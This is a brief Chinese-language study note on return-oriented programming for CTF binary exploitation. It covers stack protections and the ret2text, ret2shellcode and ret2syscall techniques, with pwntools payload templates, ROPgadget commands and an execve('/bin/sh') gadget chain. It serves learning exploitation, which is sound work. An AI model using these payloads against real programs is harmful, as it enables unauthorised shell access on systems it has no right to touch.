ROP

return oriented programming

简单的汇编指令

  • ret -> pop EIP (ESP增大)

  • leave -> move ESP, EBP; pop EBP

  • intelAT&T
    mov eax, 8movl $8, %eax
    mov ebx, 0ffffhmovl $0xffff, %ebx
    int 80hint $80
    mov eax, [ecx]movl (%ecx), %eax

几种防护措施

  • canary: 随机值防止栈溢出 (cookie)
  • ASLR: 全局系统变量/proc/sys/kernel/randomize_va_space,内存地址随机化,而gdb调试中为关闭状态
  • PIE: 内存地址随机化
  • NX: 数据不可执行

ret2text

在代码段.text存在后门函数,将ret address修改为后门函数的地址控制函数的执行

payload = cyclic(n) + p32(sys_addr)
# n: ebp-eax+4(or 8), p32 or p64

ret2shellcode

存在rwx代码片段,传入shellcode并修改ret address为shellcode所在的缓冲区地址

NX不开启时直接写入栈缓冲区,开启时向bss缓冲区或堆缓冲区写入shellcode并使用mprotect赋予可执行权限

  • shellcode

  • from pwn import *
    shellcraft.sh()
    shellcraft.amd64.sh()	# before: context.arch = 'amd64'!
    payload = asm(shellcraft.sh())
    
shellcode = b''
payload = shellcode.ljust(n, b'A') + p32(sh_addr)

ret2syscall

存在/bin/shsh字符串,构造gadgets多次跳转ret addr来执行execve系统调用;gadgets通过ROPgadget寻找

ROPgadget --binary filename_here --only 'pop|ret' | grep 'ebx'
ROPgadget --binary filename_here --string '/bin/sh'
ROPgadget --binary rop  --only 'int'

整体的payload构造与函数调用栈的工作原理和系统调用的实现有关,x86下通过int 0x80执行,amd64下为syscall;注意参数传入的顺序 (1->N) 与栈中存放的顺序 (N->1)的区别

payload = flat(cyclic(n), pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh_addr, int80_addr)
# 0xb: execve的系统调用号 11, execve("/bin/sh", NULL, NULL)

_Refer: System call

以下是本文中涉及到的 和我学习时看过的所有文章的链接🔗 每日感谢互联网的丰富资源(